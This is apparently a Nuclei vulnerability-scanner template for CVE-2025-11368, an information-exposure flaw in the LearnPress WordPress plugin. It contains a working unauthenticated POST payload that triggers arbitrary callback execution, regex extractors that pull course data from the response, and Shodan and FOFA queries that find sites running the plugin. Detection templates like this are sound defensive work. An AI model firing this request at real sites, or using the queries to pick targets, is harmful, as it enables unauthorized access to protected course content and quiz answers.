id: CVE-2025-11368 info: name: LearnPress < 4.3.0 - Arbitrary Callback Execution to Information Exposure author: pussycat0x severity: medium description: | The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to Sensitive Information Disclosure in all versions up to, and including, 4.2.9.4. This is due to missing capability checks in the REST endpoint /wp-json/lp/v1/load_content_via_ajax which allows arbitrary callback execution of admin-only template methods. This makes it possible for unauthenticated attackers to retrieve admin curriculum HTML, quiz questions with correct answers, course materials, and other sensitive educational content via the REST API endpoint granted they can supply valid numeric IDs. impact: | Unauthenticated attackers can access sensitive admin curriculum, quiz answers, and course materials, compromising educational content confidentiality. remediation: Update to the latest version beyond 4.2.9.4. reference: - https://wpscan.com/vulnerability/5c40d803-87b3-437b-b514-1e85b43371a0/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2025-11368 epss-score: 0.00999 epss-percentile: 0.59163 cwe-id: CWE-200 metadata: verified: true max-request: 1 vendor: thimpress product: learnpress framework: wordpress publicwww-query: "/wp-content/plugins/learnpress/" fofa-query: body="/wp-content/plugins/learnpress/" shodan-query: http.html:"/wp-content/plugins/learnpress/" tags: cve,cve2025,wordpress,wp-scan,wp-plugin,wp-scan,learnpress,vkev http: - method: POST path: - "{{BaseURL}}/wp-json/lp/v1/load_content_via_ajax" headers: Content-Type: application/json body: '{"callback":{"class":"LearnPress\\TemplateHooks\\Course\\ListCoursesTemplate","method":"render_courses"},"args":{}}' matchers-condition: and matchers: - type: word part: body words: - '"status":"success"' - type: word part: body words: - 'course-item' - 'course-title' - 'course-permalink' - 'learn-press-courses' condition: or - type: status status: - 200 extractors: - type: regex name: course_title part: body regex: - "course-title['\"]>([^<]+)<" group: 1 - type: regex name: course_count part: body regex: - 'course-count-lesson[^>]*>([^<]+)<' group: 1 # digest: 4b0a0048304602210087c957fe00df75a395d79e989d666a4b3e6184008c659e7b24da44f45fbd91a2022100ea1bdde412b1873d26208d03e97a0e2de06f4df3fdf2824263eab7d3fad9f1dd:922c64590222798bb761d5b6d8e72950